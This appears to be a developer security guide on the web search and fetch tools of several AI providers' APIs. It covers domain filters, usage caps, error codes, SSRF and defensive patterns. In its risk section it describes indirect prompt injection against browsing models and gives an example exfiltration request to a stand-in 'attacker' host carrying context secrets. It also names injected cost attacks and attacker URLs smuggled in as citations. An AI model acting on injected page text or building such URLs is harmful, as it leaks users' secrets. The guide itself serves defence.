Web browsing, search and fetch tools
Status: DOCUMENTED (xAI web_search + x_search LIVE_VERIFIED 2026-09-19; Gemini urlContext LIVE_VERIFIED, googleSearch ACCOUNT_RESTRICTED on the free-tier key)
Sources: https://platform.claude.com/docs/en/agents-and-tools/tool-use/web-fetch-tool · …/web-search-tool · https://platform.claude.com/docs/en/manage-claude/api-and-data-retention · OpenAI OpenAPI spec (web_search) · https://developers.openai.com/api/docs/guides/tools-connectors-mcp#risks-and-safety · xAI: https://docs.x.ai/developers/tools/web-search (allowed_domains/excluded_domains ≤ 5 exclusive, enable_image_understanding, enable_image_search; sub-tools web_search, browse_page, open_page, open_page_with_find), https://docs.x.ai/developers/tools/x-search (allowed_x_handles/excluded_x_handles, from_date/to_date, enable_video_understanding), https://docs.x.ai/developers/tools/citations (url_citation annotations, inline [[N]](url), include:["no_inline_citations"]), https://docs.x.ai/developers/pricing (per-call / per-post pricing) · Gemini: https://ai.google.dev/gemini-api/docs/google-search (groundingMetadata, Search Suggestions display requirement, redirect URIs), https://ai.google.dev/gemini-api/terms (grounded results: no caching/syndication/training; 30-day storage), https://ai.google.dev/gemini-api/docs/url-context (public URLs only, 20/request, 34 MB, URL_RETRIEVAL_STATUS_UNSAFE), https://ai.google.dev/gemini-api/docs/maps-grounding
Last verified: 2026-09-19
The risk
A model that can read the web is exposed to indirect prompt injection; a model that can request arbitrary URLs can be turned into an exfiltration channel (GET https://attacker/?secret=<data from your context>). Anthropic's web-fetch docs say it directly: enabling web fetch "where Claude processes untrusted input alongside sensitive data poses data exfiltration risks. Only use this tool in trusted environments or when handling non-sensitive data."
Anthropic web_fetch_* — controls
| Parameter / rule | Effect |
|---|---|
| URL must already be in the conversation | Claude can only fetch URLs that appeared in user messages, client-side tool results, or previous web search/fetch results — never a URL it generated itself. Violations return url_not_in_prior_context. This is the primary anti-exfiltration control; do not "help" the model by echoing its own URLs back in a tool result (that would launder them) |
allowed_domains / blocked_domains |
domain allow/deny lists (bare domains, optional path prefix) |
max_uses |
hard cap on fetches per request (max_uses_exceeded) — bounds cost and blast radius |
max_content_tokens |
truncates fetched content — bounds injection payload size and cost |
citations: {enabled: true} |
fetched text is cited; helps users verify where an answer came from |
use_cache: false |
bypass the fetch cache when freshness matters (default true) |
| Error codes | invalid_input, url_too_long, url_not_allowed, url_not_accessible, unsupported_content_type, too_many_requests, max_uses_exceeded, unavailable, url_not_in_prior_context — surface them, do not retry blindly |
| Versions | web_fetch_20250910 … web_fetch_20260318 (dynamic filtering runs code over the page before it enters context) — check generated/tools.json for the version your model supports |
Anthropic web_search_* — controls
allowed_domains xor blocked_domains (sending both → 400), max_uses, user_location (avoid sending precise end-user location unless needed). Search results are third-party content: same injection caveats. Results come back as web_search_tool_result blocks with citations.
OpenAI web_search (hosted)
{"type":"web_search"} (also web_search_preview, dated variants). Output items web_search_call + output_text annotations (url_citation). Filtering options are documented on the tool (see docs/tools/ for the exact fields per version) — apply the same principles: restrict domains where the tool allows it, and never treat page text as instructions. OpenAI's hosted search runs outside your network, so your SSRF surface is nil, but the injection surface is the same.
xAI web_search and x_search (server-side, Responses API only)
- Exfiltration surface = the model's own queries and page opens. The
web_searchsub-tools (web_search,web_search_with_snippets,browse_page,open_page,open_page_with_find) navigate to URLs the model chooses — there is no Anthropic-style "URL must already be in context" rule. Anything in the model's context (including secrets you pasted) can end up in a search query or a URL path. Restrict withallowed_domains(≤ 5, bare domains) orexcluded_domains; bound the loop withmax_turns; keep secrets out of requests that carry these tools. x_searchreads X posts, profiles and threads (sub-toolsx_user_search,x_keyword_search,x_semantic_search,x_thread_fetch) — social content is the classic indirect-injection vector; scope withallowed_x_handles/excluded_x_handlesand a date range;enable_video_understanding/enable_image_understandingwiden the surface to media.- Output:
web_search_call {action: search | open_page | find_in_page, sources (with include)},custom_tool_call(x_search sub-tools),url_citationannotations plus inline[[N]](url)markdown by default — render citations as text, or disable inline links withinclude:["no_inline_citations"]so a model cannot smuggle an attacker URL into your UI as a "citation". - Billing is per successful call ($5 per 1k; X search moves to per-post/per-profile pricing on 2026-09-21) — a prompt-injected "search 50 more times" is also a cost attack:
max_turns. - Not available on Chat Completions (422) — a Responses-only design keeps the browsing surface out of your plain chat endpoints.
Gemini googleSearch, googleMaps and urlContext (server-side)
googleSearchhas no domain filter (onlytimeRangeFilter,searchTypes.webSearch|imageSearch); results arrive asgroundingMetadata.groundingChunks[].web{uri (Google redirect), title}+groundingSupports— untrusted third-party text. Terms: you must display the Search Suggestions widget (searchEntryPoint.renderedContent) to the requesting user, may not cache/syndicate/train on grounded results, and grounding prompts/outputs are stored 30 days and cannot be disabled (no ZDR). Billed per search query on Gemini 3 ($14/1k after the free 5,000/month); free-tier keys get 429limit: 0(ACCOUNT_RESTRICTED here).urlContextfetches whatever URLs appear in the prompt (≤ 20, 34 MB each) — an injected URL in user text will be retrieved; the only structural protections are Google's: public URLs only (no localhost/private/tunnel hosts → SSRF into your network is impossible from Google's side, but the model can still read attacker pages), content moderation (URL_RETRIEVAL_STATUS_UNSAFE), no nested links. Pre-filter prompts against your own allowlist; checkurlContextMetadata.urlMetadata[].urlRetrievalStatus; note fetched content is billed as input tokens even when retrieval fails (toolUsePromptTokenCount: 130observed on anERROR).googleMapsgrounding: display obligations (sources immediately after grounded content,googleMapsWidgetContextToken) and user location (toolConfig.retrievalConfig.latLng) — send end-user coordinates only with consent.- Combining
googleSearch+urlContext("search then read pages") + function calling (Gemini 3 tool combination) in one request gives the model read and act capabilities on untrusted pages — apply the "read-only second pass" pattern below.
Self-hosted browsing (your own fetch tool)
If you implement fetching yourself (client tool, Anthropic browser_toolset, Playwright…), you inherit the full SSRF problem — see file-uploads-and-ssrf.md: resolve DNS and reject private/link-local/metadata ranges after redirects, allowlist schemes (https only), cap size and time, strip cookies/credentials, run in an egress-filtered network.
Patterns
- Read-only, tool-less second pass: fetch with a request that has only the fetch tool; summarise; then run the request that has your sensitive tools using the summary, not the raw page.
- Never combine web fetch with tools that can send data out (email, HTTP POST, MCP write tools) in the same request when the input is untrusted.
- Mark fetched content in the transcript with its URL and timestamp; render links to users as text, not clickable auto-loaded content.
- Budget:
max_uses+max_content_tokens+ yourBudgetGuard(docs/architecture/resilience.md).
Checklist
- Web fetch/search only in requests without sensitive data or without exfiltration-capable tools (xAI/Gemini search tools can carry context into queries).
- Anthropic
allowed_domains/blocked_domains,max_uses,max_content_tokens; xAIallowed_domains/excluded_domains(≤ 5) +allowed_x_handles+max_turns; Gemini:urlContextprompts pre-filtered,googleSearchaccepted as unscoped or not enabled. - Never echo model-generated URLs back into context (Anthropic rule); never paste model-generated URLs into a Gemini prompt with
urlContexton. - Tool error codes handled explicitly: Anthropic
url_not_in_prior_context, GeminiURL_RETRIEVAL_STATUS_UNSAFE|ERROR|PAYWALL, xAIweb_search_call.status. - Citations enabled and shown to users as text (
url_citationannotations; xAI inline[[N]](url)disabled or sanitised); Gemini Search Suggestions rendered as required by the terms. - Self-hosted fetchers: SSRF controls, scheme allowlist, size/time caps, egress filtering.